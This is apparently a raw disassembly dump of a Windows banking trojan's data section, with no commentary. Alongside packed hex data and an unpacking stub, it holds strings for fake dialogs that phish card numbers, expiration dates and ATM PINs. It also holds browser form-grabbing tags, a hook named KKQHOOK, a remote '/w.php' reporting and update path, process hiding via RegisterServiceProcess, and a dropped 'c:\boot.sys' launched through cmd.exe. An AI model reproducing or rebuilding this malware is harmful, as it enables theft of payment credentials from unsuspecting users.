		dd 2156D48Ah, 39097EBEh, 0C9347C50h, 73C2D8F3h,	7F04DA2Dh
		dd 1EBEC017h, 0E1449C48h, 0D90D74CEh, 897B7091h, 74C2E36Fh
		dd 3B67B893h, 8740C20h,	77360F35h, 0EB8FECABh, 0A9658D8h
		dd 0B299219Fh, 41431F07h, 810E4112h, 0FE0F5C25h, 81F46D93h
		dd 43037759h, 97D75860h, 0C33490C1h, 0AF4476CCh, 3B21D9B0h
		dd 0EC98AF6Dh, 9A401AA3h, 75095C00h, 84683DECh,	0B75D4E15h
		dd 161C90EDh, 3B0A264Ah, 9A69362Eh, 0F29B08B1h,	6DF30CDEh
		dd 2901C90Ch, 0A7581B0Dh, 0DB933491h, 473DDBEFh, 0E944C298h
		dd 308DF586h, 69CF0E44h, 992A2D16h, 5314E30Ch, 0B8DDC075h
		dd 60140773h, 75727E80h, 2ED21A4Eh, 398756E8h, 7495D233h
		dd 0CA0C7930h, 0C048C4B1h, 6F4DB94Dh, 167AB7F7h, 58EC588Bh
		dd 0FFE38110h, 0B8C4C0Fh, 6F750806h, 7E0C9B1Bh,	4A47D103h
		dd 0F56B1ED2h, 147EE82Dh, 0C61689B9h, 0B85A9246h, 53B78FDh
		dd 3EB1454h, 4948C8DEh,	235C1976h, 1925A75h, 2A3A1058h
		dd 366FB76Bh, 754FFC8Ch, 796683EAh, 19866680h, 1B5024B6h
		dd 3C17C252h, 17C4B618h, 3956BA02h, 1871105Dh, 7D9F2BCBh
		dd 83E34C1h, 718B08CEh,	759CDF45h, 0D375615Dh, 5814D214h
		dd 751C5938h, 6DBB5B50h, 5D1D41C1h, 804CEF8h, 6A976FDFh
		dd 1450F3CEh, 0F8550148h, 5AD2D33Bh, 0C84E476Bh, 139418EBh
		dd 0D4230CEAh, 0B6EFA5A6h, 0EBB3FFFAh, 2139D3CAh, 0FDFA8F14h
		dd 4056F61h, 16D641C6h,	50646F6h, 5BEB0CDCh, 4A878AE7h
		dd 56E48EF8h, 0E6E5C060h, 14A86C5Ah, 89AAADE1h,	0DDB2AF00h
		dd 8B2D6B77h, 0A5F33B36h, 0EB3C7C74h, 4B77EDCFh, 3D743E75h
		dd 77147255h, 29C28B02h, 0BB76E06h, 13D02BDFh, 0A4EB9704h
		dd 1BA0744Dh, 172B7610h, 4EFD686h, 3DD2F3DBh, 368DB6Bh
		dd 0CD4D9ADh, 1229CB27h, 18AB9AB4h, 202CC22Ah, 86DABB48h
		dd 37110115h, 0B54B4E86h, 0CAAAC243h, 46658714h, 0BDAB1F6Fh
		dd 59066A57h, 56FE8B14h, 10E340B8h, 0D2991B4h, 0CD6ACC2Dh
		dd 6DC4A3EEh, 156614A0h, 12B302B6h, 241E088h, 50D75062h
		dd 29C533Ch, 6FCC0CEEh,	7E8D1EFEh, 1FD06608h, 465459C0h
		dd 568AE8EBh, 7ADB8069h, 0E52ECE0Fh, 0E7BD3114h, 61DD6CCh
		dd 6820F454h, 642DD81Eh, 619DB0CFh, 6500101Dh, 4036A91Ah
		dd 0BDEE5A55h, 462D54B4h, 0FE34FD6Fh, 8CA02CB7h, 0F39FF98Ch
		dd 54D6ED6Fh, 0F9D19AB8h, 0DA75273Fh, 78EC03Eh,	513C5F82h
		dd 0D4B85393h, 37170E42h, 0BC575BABh, 721B6ABAh, 87B249BEh
		dd 3F736DFh, 0F9190B68h, 20B1FC0h, 46473C8Ch, 0C800D2C4h
		dd 0FC18888Eh, 0CB85CC8Ch, 0C68DED02h, 36B3F803h, 1A24C19Ch
		dd 61B456Ch, 1781BD63h,	27D19A3Fh, 7E4D7701h, 908B4298h
		dd 0BD40B06Fh, 830C33FBh, 0E9F714C1h, 0A8F1B6CDh, 0F458853h
		dd 3314756Eh, 7DB38447h, 4D8A7447h, 32A4170Fh, 7031F620h
		dd 0B1AE6225h, 6BED052h, 646D80B8h, 0A38109B3h,	0B2701F29h
		dd 7982FB1Dh, 0CE49E80Ch, 94BE43D1h, 5B535241h,	55746A70h
		dd 0B1B9E0A4h, 9E147E08h, 6D5BBAF8h, 0C4201CD0h, 23F61122h
		dd 2B762060h, 0D8C7E0E8h, 80180305h, 1E89EF17h,	0F02F6CE5h
		dd 8E9076C0h, 0B771FB3Bh, 247B7D1h, 8F7BE39Ah, 9F8B2B54h
		dd 97CCFD5Ah, 887880Ch,	0D83B0B02h, 351EF012h, 19EA2223h
		dd 64D42846h, 1AF54BECh, 424C22F3h, 531F8021h, 735B3320h
		dd 96830111h, 819C0885h, 1C068158h, 16D1D043h, 4D99B362h
		dd 0D4BD1E4Bh, 46464646h, 0DC94D8FCh, 46F6161Fh, 0A5CBB30Dh
		dd 0EFBD8D69h, 0C78BBF61h, 8BC54D89h, 5BBBF18h,	0A25781A3h
		dd 0EC65CC7Eh, 9411A508h, 37893DCAh, 9D6F263Eh,	1A496C1Bh
		dd 0B602EC0Fh, 0AB6831FFh, 61135B3h, 0FFF04150h, 0FB6C5EF7h
		dd 0A2278303h, 0A559F093h, 88403FBFh, 53ABB739h, 0FFFFFE1Ah
		dd 21B30833h, 249F4A8Ah, 43850A90h, 0C64657E9h,	0B054212Dh
		dd 171F99EBh, 970E016Dh, 6D3F88B2h, 1E3A3175h, 898A4805h
		dd 516CC689h, 8BF54848h, 7992FFEDh, 0BF0246E2h,	30306B38h
		dd 0EE6BD78Ah, 5063435h
		dd 768A810Ch, 0CF0AD939h, 3F3BB3Ch, 0E11C231Ch,	0FE565ADEh
		dd 0A3AC6A05h, 933B7593h, 1B3140A1h, 0B451329h,	14A30820h
		dd 0FBAD46CEh, 234BC38Bh, 3CA692C1h, 0A1367014h, 0FBC3946Ch
		dd 42B66C2Eh, 0A1728AE7h, 0DA043D8Ah, 0F6C4CD86h, 8B8AD04Bh
		dd 6054F2h, 655CE133h, 806FC34Ah, 90494C35h, 0D9884D38h
		dd 0C7DE27B0h, 30234E06h, 660F73Fh, 0F5528101h,	18363C05h
		dd 45C72011h, 3240C362h, 0F48880C0h, 0EBA21A4Ch, 8C47C7B0h
		dd 83659159h, 1C4D6C12h, 2F6D872h, 3C740F0Ah, 0DAB3C212h
		dd 0E106B57h, 0E03CCD96h, 74F8083h, 1E0E85D8h, 7B830B4Dh
		dd 8540B94h, 8F547C0Fh,	0E7931EE8h, 1BBBBE2Dh, 35750252h
		dd 19741005h, 831247F6h, 9E00BD0Bh, 5C6A1075h, 0C530087Bh
		dd 66BBB86Ah, 758FA7F3h, 539A570Ah, 163145Ah, 570228C0h
		dd 0B2585232h, 0D0D12961h, 39D37B2Ch, 7401D0C6h, 0CC868B71h
		dd 4BEC6419h, 8D534F27h, 86CBCD9Eh, 19192190h, 0EF86868Eh
		dd 960E464Eh, 1545BCBh,	0B1571375h, 56AC5D25h, 0AB04ACB6h
		dd 5428E6E7h, 0CC057B01h, 91919102h, 0DCC4C891h, 919191BCh
		dd 0C0B4B891h, 919981D0h, 0E0D8D491h, 0C9452800h, 0E200FFC8h
		dd 9EE886EDh, 0BAE904h,	235686F0h, 2170BFC2h, 0BA01FB36h
		dd 8B0E5A4Dh, 0C6033C70h, 1C8DB454h, 100641BCh,	0C2D16F00h
		dd 0EB386ED7h, 1635EE0h, 0BADD221Ah, 901426FCh,	0F17C0B17h
		dd 7D7A4A76h, 0E87F071Dh, 37FFADEh, 8A188AC2h, 751E3ACBh
		dd 30C9841Ah, 0C01588Ah, 15BB715Eh, 46905D50h, 0E2751146h
		dd 7605A3FFh, 401B05CFh, 831B4FD8h, 83022045h, 8B42A681h
		dd 96723CC7h, 57C5FC3Bh, 0BC727AB3h, 20EE4A33h,	8FF06A2Dh
		dd 0B70F0CADh, 8DF22B00h, 82D4455Dh, 630B5B8h, 0AA4EDF81h
		dd 53FA2BDAh, 6164410Ch, 0C8003170h, 13F452B5h,	0D60F0403h
		dd 3BA5FB0Eh, 6F636F74h, 1244176Ch, 0F4533019h,	42671752h
		dd 0C16778F1h, 94D55677h, 0EBC4B4Dh, 2BBEC648h,	0CA94091h
		dd 2A02811Dh, 87F4E456h, 0B0BED557h, 16387870h,	0ECF20320h
		dd 2D0B157Ah, 8B244E75h, 0FA74032Ch, 0DFA3A05Dh, 0FEC5DB0h
		dd 3F53C320h, 220F4FFFh, 6B621601h, 20510F48h, 4BD45076h
		dd 9E9E56C1h, 2D346883h, 3EA96A38h, 311A57DAh, 0F3481CA3h
		dd 205D12B0h, 20481694h, 141C85CFh, 7C8760C2h, 0EC187217h
		dd 47A37862h, 3E50CEB3h, 88895B92h, 5E2B66B5h, 1227105h
		dd 0DE210E23h, 745FFB67h, 0E91807F1h, 63BB2FA1h, 95C76F14h
		dd 3D24053Fh, 5BF7505Ch, 454400D1h, 690076h, 895C0763h
		dd 876DDDC2h, 730B64h, 0D7AE0772h, 611B9B75h, 1D6D030Bh
		dd 1B720374h, 203C5D63h, 3B558CDFh, 8DC11763h, 6E651F74h
		dd 7D179B21h, 49506DCFh, 752EDh, 0B6426F63h, 6937CC0Dh
		dd 0B3275C0Dh, 0A9119440h, 3218866Ch, 0F0D0BDB4h, 2EA8685Ch
		dd 0E25E5009h, 0DA186809h, 2153B281h, 5606D4F7h, 1C4B5012h
		dd 865A2826h, 8308E25Ah, 0F6ADDA95h, 70D85B7h, 22C4AA58h
		dd 5153944Dh, 6F3BFC68h, 9476D6EEh, 9C889820h, 0B0060DC8h
		dd 0E46206FEh, 14B43EE6h, 0E0B8142Fh, 0DB2DB6C0h, 0CC288FF6h
		dd 57D4D002h, 880C7E20h, 68E83EE6h, 79402F0Ch, 0C41B2F73h
		dd 1E241816h, 6A38568Bh, 0E21501DEh, 46FA8B1Bh,	1AB859A1h
		dd 6F0DE007h, 0B8F716D1h, 5E920920h, 70028934h,	0F25E8BF5h
		dd 4B868940h, 63547846h, 0FA22C115h, 0CEFFB894h, 687447EEh
		dd 6CA30458h, 0B8D6FF0Eh, 0F3C88648h, 4C50157Ch, 0F41CEA48h
		dd 6A53C1D0h, 0ECF329CCh, 3D736F4Dh, 96595183h,	34402FF3h
		dd 51F1F068h, 0AC4F076h, 0A012F098h, 53140D0Fh,	0D97A32D4h
		dd 12D84A06h, 301330CCh, 1D65E533h, 30E0C303h, 2A345644h
		dd 0B4C9A030h, 64FD2B02h, 1C81F50h, 53D3654Bh, 4C6E6970h
		dd 51ADEA0Ch, 1211774h,	0AEFEFB49h, 7953FEDDh, 1C6F626Dh
		dd 171A4C63h, 74520394h, 8975516Ch, 0DB6B36Ah, 61074979h
		dd 0ED925508h, 431B3173h, 0B677A895h, 565C642Bh, 6DAD542Bh
		dd 2D496450h, 0AA6B2916h, 669566FEh, 706D6F43h,	7164656Ch
		dd 1B92DB3Eh, 0F7F395h,	0C6C06342h, 5A4A68A0h, 0F6B517FAh
		dd 6E49F24Dh, 3C455D37h, 0FAA1257Eh, 2D75E85h, 6B957350h
		dd 27B3B09Fh, 6F5422BDh, 8D1B6E41h, 0E65176Bh, 644DEA33h
		dd 0B6C7BFF2h, 4D024E7Eh, 4CEC4D6Dh, 6761506Bh,	0A802BAD7h
		dd 4FE07B9Ah, 661E6662h, 585E7E03h, 17D44DB3h, 421452B5h
		dd 0CEDAA179h, 14541AAh, 0C355EE78h, 5417D9F6h,	0F9137079h
		dd 0FF955369h, 1A05186Dh, 726B736Fh, 652E6C6Eh,	0D6E12E78h
		dd 664BB536h, 7361384Bh, 73364F82h, 4113EFC9h, 69757163h
		dd 77085072h, 0DEDB42EDh, 71724973h, 3E0D48ADh,	0BB336961h
		dd 0D7B70B6h, 0A37044D4h, 41175D65h, 7C08B14Ch,	0C1749551h
		dd 6764B5DBh, 1176AD55h, 0A95B22DCh, 5074E2DAh,	0CC27158Bh
		dd 0FEA870DDh, 667542BDh, 81C819D4h, 332CE425h,	0E496029h
		dd 45725F4Bh, 6DEA8D0Ch, 63724100h, 0F685C5BDh,	0BAA3D6DAh
		dd 0EF33226Eh, 0BC2AAB36h, 0AE69B7h, 0A033011Fh, 0CF6C3DE4h
		dd 4136E55Ah, 256F4274h, 2D92B726h, 2B959980h, 8DDD662Bh
		dd 70566548h, 156D3C79h, 15876422h, 0F9751D14h,	891F491Ah
		dd 59532E0Dh, 4AC8A153h, 8901D5F1h, 2D17B618h, 1E69007h
		dd 48041930h, 14B2C95Bh, 1304C04Fh, 53C0D743h, 5F9D56B4h
		dd 0CDED4505h, 5340D034h, 5FB34FABh, 0FE788B05h, 4F0B46B9h
		dd 0FEEF04BDh, 26C36D03h, 75D452Bh, 0B4EF473Fh,	19017210h
		dd 1D733163h, 744F6C34h, 6735697Bh, 839B074Dh, 0D6C61AEh
		dd 2B660D49h, 0B1BC4023h, 34B93BAEh, 62073903h,	75D064C7h
		dd 171E751Dh, 736D2343h, 0C80D14B0h, 61812073h,	7418C188h
		dd 20AF6B61h, 0F74D339Bh, 6307D13Dh, 79206F11h,	0E0C43D92h
		dd 1407CF76h, 0DC0CC153h, 79533DF6h, 375DF34Fh,	54CF9DD6h
		dd 6E2D4B33h, 520D6C05h, 7BAE066h, 137531C3h, 0E61D8DCFh
		dd 4715119Eh, 631544CBh, 8DD74494h, 69797069h, 5B1F6E2Dh
		dd 49B6F759h, 65215168h, 89055399h, 36B901h, 5881560Bh
		dd 4B971C2Bh, 585EF32h,	0C8D8F307h, 2E373135h, 0C44F0700h
		dd 74B06665h, 6ED561B7h, 90B6EBAFh, 2F2971E7h, 29671B4Ch
		dd 0EEB1B84h, 8D79930Dh, 1021A367h, 13D9ECAEh, 0EB061B20h
		dd 15A9BA1Ah, 530BF32h,	6233092Dh, 9B8ACEC2h, 3054770Ch
		dd 6DC62F0Dh, 72C75164h, 0B38F7426h, 7D29576Fh,	8D830B6Bh
		dd 1FD5CC34h, 69934F3Eh, 66126C09h, 0EF6E2FE7h,	0BAC1A461h
		dd 5779072Eh, 75500D20h, 6C6E7C7h, 0B9425761h, 0C46F643Fh
		dd 5C48BEE8h, 750F6F1Fh, 8CA2EF43h, 3A774525h, 212308BBh
		dd 0DFE15B64h, 46CEE7DEh, 5F7553B7h, 61D2F569h,	44B7C26Ch
		dd 5D43561Fh, 56E88709h, 6D842400h, 0B6E8C27Ah,	611F7315h
		dd 0B00409A3h, 0CD90337Fh, 80A80315h, 0D034C433h, 0D55BDF34h
		dd 0EE34FFFFh, 1B350F34h, 39352A35h, 0D135A635h, 0E035D735h
		dd 6FFA32A7h, 6B36FF55h, 9B368A36h, 1099A436h, 1C378A37h
		dd 0FF384638h, 3A17FFFFh, 38C3385Fh, 38FE38E2h,	39383928h
		dd 394B3945h, 39B63965h, 39E639D3h, 0FFFF39F9h,	3A39FFFFh
		dd 3A473A40h, 3A553A4Eh, 3A633A5Ch, 3A713A6Ah, 3A903A78h
		dd 3AA83A9Fh, 3AF43AB1h, 0FFFF3B08h, 3B10FFFFh,	3B763B15h
		dd 3C0C3B7Eh, 3C8C3C72h
		dd 3D093C9Fh, 3DB03D31h, 3E3A3DB9h, 3E973E80h, 0AF8B3E9Eh
		dd 3EBEFFFFh, 3F353F04h, 3F623F4Ch, 3F7D3F6Eh, 84F93FF0h
		dd 0FFF27B10h, 20C066FFh, 11310530h, 39312A31h,	78316C31h
		dd 98318931h, 2320C31h,	23FFFFC0h, 44332B33h, 0E333C233h
		dd 13340B33h, 29341834h, 0FFDDFF8Fh, 0C13458FFh, 0FB34F334h
		dd 29352134h, 81352E35h, 0E5CB8935h, 0FD35F335h, 23361635h
		dd 0FFF77F46h, 39363036h, 58364136h, 82367C36h,	0DD36BADBh
		dd 53384E36h, 0FFFFFF0Eh, 387D38FFh, 38B13890h,	39B1393Eh
		dd 3A223A17h, 3A683A5Eh, 3AE83AC6h, 3B283B1Dh, 3B853B7Ch
		dd 0FFFBBFB7h, 3C073BFEh, 3C703C68h, 3C803C76h,	3CE7B988h
		dd 3D5D3D50h, 453E2E34h, 0FFFFFFFEh, 503E4A3Eh,	6E3E573Eh
		dd 0CD3E783Eh, 613EDE3Eh, 853F6C3Fh, 0BF3F933Fh, 0DB3FCA3Fh
		dd 0FF3FE93Fh, 0E81EEFFFh, 304CBFF4h, 30D93089h, 30F630DEh
		dd 313A30FDh, 315B3141h, 2F103164h, 3194FFF4h, 31A8319Fh
		dd 31F231ADh, 353F31F8h, 0FE1B1632h, 0C39E1ADFh, 34BA34AAh
		dd 34D734CBh, 8D203508h, 3780356Eh, 3586FE00h, 35A535A0h
		dd 37482778h, 0EDF00076h, 380E0F0Dh, 5038A72Ch,	0B7FF6838h
		dd 0CB51BFFFh, 19391438h, 26392039h, 34392C39h,	39610039h
		dd 39853976h, 399F398Dh, 0EE0B001Bh, 0CBAC39A7h, 0ED17D099h
		dd 0FD5BFE00h, 0FA39F539h, 3A4BFF39h, 3A183A10h, 0FF743A1Eh
		dd 1937FFFFh, 3B423AB3h, 3B813B73h, 3BAE3BA8h, 3BBA3BB4h
		dd 3BC63BC0h, 3BD23BCCh, 2FFF3BD8h, 3BDEFFFDh, 3BEA3BE4h
		dd 3DA23BF0h, 3DF33DEEh, 143E0FA0h, 303E213Eh, 423E353Eh
		dd 0FFFFC006h, 563E513Eh, 723E603Eh, 893E813Eh,	3D3E903Eh
		dd 0C02B473Fh, 83F001BFh, 0A629913Fh, 0C43FBC3Fh, 19FFD53Fh
		dd 0F32D06DBh, 15DF30F3h, 1F301A30h, 0F8242430h, 2930EDB7h
		dd 0F5350030h, 65303F30h, 1F306A30h, 9EC7E6h, 4931424Eh
		dd 40601997h, 1A2FA06h,	4473458Dh, 49FE73F8h, 706802ECh
		dd 3220FB6Bh, 4B5C302Eh, 809E268Bh, 5C775C17h, 120F4F0h
		dd 64705505h, 95C4B162h, 0AA4EA704h, 0D43BFE77h, 42095A6Ah
		dd 6174536Bh, 5307472h,	72476F9Ch, 0D670756Fh, 0A41780Ah
		dd 82C11FACh, 0D7347405h, 50167618h, 0D55C7643h, 205B6E73h
		dd 0D7000D01h, 1ED709Fh, 6F977EDEh, 1D00BA1Dh, 903E08F6h
		dd 575D155Ch, 4640323Ch, 0FB590660h, 2A1F4523h,	0F6338008h
		dd 177EFF85h, 15197F18h, 1E285C66h, 7CF73B46h, 0F30AA423h
		dd 3B2480E9h, 4362FEE0h, 40101CF2h, 0C131800h, 61765468h
		dd 73C6C9BEh, 0E6A1114h, 813E4810h, 1028E054h, 0C2A90040h
		dd 1448EE74h, 0E7E04C1Bh, 5660A306h, 90F54C6h, 5AF736A3h
		dd 20054910h, 9C4F4004h, 67FB6405h, 20345931h, 4C9C64BDh
		dd 0BE57F6C9h, 0C6A49C9Ch, 0A481CF25h, 0F7D068C0h, 0D8799Fh
		dd 683A6816h, 0BE0A6ABBh, 0F3482394h, 8D597FDDh, 0A5F3AC7Dh
		dd 0B84BEA4h, 0A5D87D8Dh, 0B19E7CA5h, 0F5F0C11Bh, 0E80A74BEh
		dd 76EBB76Ch, 0E4A5F847h, 0A40B6468h, 99BEACE6h, 553E205Dh
		dd 0C1692480h, 0B0016A7Bh, 14EC7457h, 35196A0Fh, 9E2350Fh
		dd 831FF89Bh, 61C94CC4h, 0E19CCD92h, 6AF8DF08h,	6CD437F5h
		dd 400544A6h, 0F80D4A9h, 0F7617385h, 0EFBCBE9Dh, 96F26604h
		dd 0F7BAFF00h, 0C64420Eh, 14EC358Bh, 6767F4FEh,	1AD64630h
		dd 47831903h, 0C2EEBF78h, 3C305204h, 1105842Ah,	6159010Eh
		dd 1E67D98Bh, 39EC6859h, 1342A20h, 0F3C868h, 0AD7210FFh
		dd 13DE1A7Ch, 0EA60385Ah, 74C3640Ah, 76E0349Fh,	30AFD404h
		dd 0EFEF112Eh, 8D047B2Ch, 0FF68D68Dh, 562898D0h, 1DEFBF0Ah
		dd 6C51204Dh, 0B55FBBh,	0C0968B59h, 962A3635h, 144876A7h
		dd 570950DDh, 2D1E04B6h, 27D8DEAh, 80EFF33h, 0B45420F9h
		dd 575DB023h, 57B01D24h, 2057359h, 0CC51h, 0A0286016h
		dd 41101B70h, 3C61019Ch, 0C4061801h, 44015C21h,	80C03100h
		dd 0BA0ABA42h, 773E9384h, 310400F9h, 0A6922030h, 57908824h
		dd 88040155h, 10B2031h,	2090E292h, 1D4010Eh, 0B2C40656h
		dd 20904C04h, 6D3EE606h, 1212F125h, 41168844h, 0D25CD830h
		dd 0B27B7DE3h, 4456460Ah, 5580B667h, 8A368510h,	69C443ECh
		dd 7301315Ch, 165F2006h, 10C54h, 0E12F20F2h, 6E010F79h
		dd 0B078D565h, 80C122A0h, 5810CE2h, 21F8DF5h, 0E054840Ch
		dd 837A744Eh, 41957ACh,	96046817h, 0B05F5059h, 2EB906Ch
		dd 206C510Ch, 7B2CFD48h, 0BC000000h, 71BFh, 1200h, 0BE6000FFh
		dd 406000h, 0B000BE8Dh,	8357FFFFh, 10EBFFCDh, 90909090h
		dd 68A9090h, 47078846h,	775DB01h, 0EE831E8Bh, 72DB11FCh
		dd 1B8EDh, 0DB010000h, 1E8B0775h, 11FCEE83h, 1C011DBh
		dd 75EF73DBh, 831E8B09h, 0DB11FCEEh, 0C931E473h, 7203E883h
		dd 8E0C10Dh, 8346068Ah,	7474FFF0h, 0DB01C589h, 1E8B0775h
		dd 11FCEE83h, 1C911DBh,	8B0775DBh, 0FCEE831Eh, 0C911DB11h
		dd 1412075h, 8B0775DBh,	0FCEE831Eh, 0C911DB11h,	0EF73DB01h
		dd 1E8B0975h, 11FCEE83h, 83E473DBh, 0FD8102C1h,	0FFFFF300h
		dd 8D01D183h, 0FD832F14h, 8A0F76FCh, 7884202h, 0F7754947h
		dd 0FFFF63E9h, 28B90FFh, 8904C283h, 4C78307h, 7704E983h
		dd 0E9CF01F1h, 0FFFFFF4Ch, 0B9F7895Eh, 11Ah, 2C47078Ah
		dd 77013CE8h, 43F80F7h,	78BF275h, 66045F8Ah, 0C108E8C1h
		dd 0C48610C0h, 0EB80F829h, 89F001E8h, 5C78307h,	0D9E2D889h
		dd 7000BE8Dh, 78B0000h,	3C74C009h, 8D045F8Bh, 90003084h
		dd 0F3010000h, 8C78350h, 905096FFh, 8A950000h, 0C0084707h
		dd 0F989DC74h, 0AEF24857h, 5496FF55h, 9000090h,	890774C0h
		dd 4C38303h, 96FFE1EBh,	9058h, 0DF61E961h, 0FFFFh, 25h dup(0)
		dd 0A0700000h, 0A0500000h, 3 dup(0)
		dd 0A07D0000h, 0A0600000h, 3 dup(0)
		dd 0A08A0000h, 0A0680000h, 5 dup(0)
		dd 0A0940000h, 0A0A20000h, 0A0B20000h, 0
		dd 0A0C00000h, 0
		dd 0A0CE0000h, 0
		dd 454B0000h, 4C454E52h, 442E3233h, 41004C4Ch, 50415644h
		dd 2E323349h, 6C6C64h, 4356534Dh, 642E5452h, 6C6Ch, 64616F4Ch
		dd 7262694Ch, 41797261h, 65470000h, 6F725074h, 64644163h
		dd 73736572h, 78450000h, 72507469h, 7365636Fh, 73h, 43676552h
		dd 65736F6Ch, 79654Bh, 61720000h, 646Eh, 4Ah dup(0)
		db 3 dup(0)
aCBoot_sys	db 'c:\boot.sys',0      ; DATA XREF: sub_40523F:loc_405261o
		align 4
dword_424038	dd 11h,	0Fh dup(0)dword_424078	dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h
					; DATA XREF: sub_405336:loc_405339o
		dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh,	280E85D5h
		dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h,	14F80518h
		dd 6E0637BFh
dword_4240B8	dd 0FFFFFFFFh			dd 2Ah dup(0FFFFFFFFh),	3Eh, 3 dup(0FFFFFFFFh),	3Fh, 34h
		dd 35h,	36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh,	7 dup(0FFFFFFFFh)
		dd 0
		dd 1, 2, 3, 4, 5, 6, 7,	8, 9, 0Ah, 0Bh,	0Ch, 0Dh, 0Eh
		dd 0Fh,	10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h,	18h, 19h
		dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh,	1Ch, 1Dh, 1Eh, 1Fh, 20h
		dd 21h,	22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h,	2Ah, 2Bh
		dd 2Ch,	2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh)
off_4244B8	dd offset loc_405455	; DATA XREF: sub_40540A+44r
		dd offset loc_40545A
		dd offset loc_40547A
		dd offset loc_40549D
byte_4244C8	db 2 dup(0)		; DATA XREF: sub_4068A8+555o
aUnableToAuth_0	db 'Unable to authorize',0 ; DATA XREF: sub_4068A8+423o
aUnableToAuth_1	db 'Unable to authorize - INCORRECT PIN. Please, correct.',0
					; DATA XREF: sub_4068A8+428o
aSS_1		db '%s-%s',0            ; DATA XREF: sub_4068A8+2E7o
aPleaseSelect_0	db 'Please, select Expiration Year',0 ; DATA XREF: sub_4068A8+2BDo
aSS_0		db '%s %s',0            ; DATA XREF: sub_4068A8+285o
					; sub_4068A8+452o
aPleaseSelectEx	db 'Please, select Expiration Month',0 ; DATA XREF: sub_4068A8+25Bo
aS_0		db '%s',0               ; DATA XREF: sub_4068A8+223o
aV		db 'V',0                ; DATA XREF: sub_406344+3DAo
aK		db 'K',0                ; DATA XREF: sub_406344+3C9o
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_406344+31Ao
aKernel32_dll_1	db 'kernel32.dll',0     ; DATA XREF: sub_406344+310o
aBoot_sys	db '\boot.sys',0        ; DATA XREF: sub_406344+250o
aDatkkq32_dll	db 'datkkq32.dll',0     ; DATA XREF: sub_406344+228o
aDnkkq_dll	db 'dnkkq.dll',0        ; DATA XREF: sub_406344+20Fo
aKkq32_dll	db 'kkq32.dll',0        ; DATA XREF: sub_406344:loc_40653Ao
aSS		db '%s\%s',0            ; DATA XREF: sub_406344+200o
					; sub_406344+219o ...
aEnabledsf	db 'enabledsf',0        ; DATA XREF: sub_406344:loc_4063A9o
aDriversNdisrd_	db '\drivers\ndisrd.sys',0 ; DATA XREF: sub_406344+22o
		align 4
		dd 2 dup(0)
dbl_4245E4	dq 1.2			; DATA XREF: sub_405AAC:loc_406238r
aNewver		db 'newver',0           ; DATA XREF: sub_405AAC+73Eo
aXd2		db 'xd2',0              ; DATA XREF: sub_405AAC+70Ao
aWupd		db 'wupd ',0            ; DATA XREF: sub_405AAC+6A5o
a02u		db ':%02u',0            ; DATA XREF: sub_405AAC+599o
a?dmp2		db '?dmp=2',0           ; DATA XREF: sub_405AAC+4F8o
aSS_tmp		db '%s\%s.tmp',0        ; DATA XREF: sub_405AAC+415o
aWpst		db 'wpst ',0            ; DATA XREF: sub_405AAC+28Eo
aQ		db 'q',0                ; DATA XREF: sub_405AAC+117o
					; sub_405AAC+309o ...
a?ifcU		db '?ifc=%u',0          ; DATA XREF: sub_405AAC+E8o
aIfc		db 'ifc',0              ; DATA XREF: sub_405AAC+CEo
					; sub_405AAC+163o
aSoftwareMicr_3	db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_405AAC+D3o
					; sub_405AAC+168o
aW_php		db '/w.php',0           ; DATA XREF: sub_405AAC+94o
asc_42464A	db '/',0                ; DATA XREF: sub_405AAC+73o
aHttpS		db 'http://%s',0        ; DATA XREF: sub_405AAC+60o
aSS_dat		db '%s\%s.dat',0        ; DATA XREF: sub_405AAC+36o
					; sub_405AAC+6DBo
aClickOnceToCon	db 'Click Once To Continue',0 ; DATA XREF: sub_40553F+412o
aButton		db 'BUTTON',0           ; DATA XREF: sub_40553F+417o
aEdit		db 'EDIT',0             ; DATA XREF: sub_40553F+396o
					; sub_40553F+3CCo
aPleaseMakeCorr	db 'Please make corrections and try again.',0 ; DATA XREF: sub_40553F+328o
aUnableToAuthor	db 'Unable to authorize. ATM PIN-Code is required to complete the tra'
					; DATA XREF: sub_40553F+2EFo
		db 'nsaction.',0
aAtmPinCode	db 'ATM PIN-Code',0     ; DATA XREF: sub_40553F+2B6o
aExpirationDate	db 'Expiration date',0  ; DATA XREF: sub_40553F+27Do
aYourCardNumber	db 'Your card number',0 ; DATA XREF: sub_40553F+244o
a20_2u		db '20%.2u',0           ; DATA XREF: sub_40553F+1EAo
a_2u		db '%.2u',0             ; DATA XREF: sub_40553F+1B8o
aCombobox	db 'COMBOBOX',0         ; DATA XREF: sub_40553F+164o
					; sub_40553F+19Ao
aAuthorizationF	db 0Ah			; DATA XREF: sub_40553F+AFo
		db '   Authorization Failed.',0
aStatic		db 'STATIC',0           ; DATA XREF: sub_40553F+B4o
					; sub_40553F+F8o ...
aKkqhook	db 'KKQHOOK',0          ; DATA XREF: sub_40553F+75o
					; sub_405AAC+11Co ...
		align 2
aExplorer	db 'Explorer',0         ; DATA XREF: sub_40553F+1Ao
					; sub_4068A8+78o
aDocobject	db 'DocObject',0        ; DATA XREF: sub_40553F+Bo
					; sub_4068A8+62o
aCmd_exeCStartC	db '\cmd.exe /C start c:\boot.sys',0 ; DATA XREF: sub_40523F:loc_4052D9o
aKernel32_dll_0	db '\kernel32.dll',0    ; DATA XREF: sub_40519A+2Eo
a_google_adware	db '.google.adware',0   ; DATA XREF: sub_404BA0+1B3o
a_google_	db '.google.',0         ; DATA XREF: sub_404BA0+198o
asc_4247B9	db ':',0                ; DATA XREF: sub_404BA0+EDo
asc_4247BB	db ' %X:',0             ; DATA XREF: sub_404BA0+ABo
asc_4247C0	db '|',0                ; DATA XREF: sub_40479E:loc_4047F2o
aFrame_XForm_X	db '<FRAME_%X-FORM_%X> ',0 ; DATA XREF: sub_404878-F8o
aMainpgForm_X	db '<MAINPG-FORM_%X> ',0 ; DATA XREF: sub_404878-12Do
aName:					; DATA XREF: sub_4043B0+20o
		unicode	0, <name>,0
		align 4
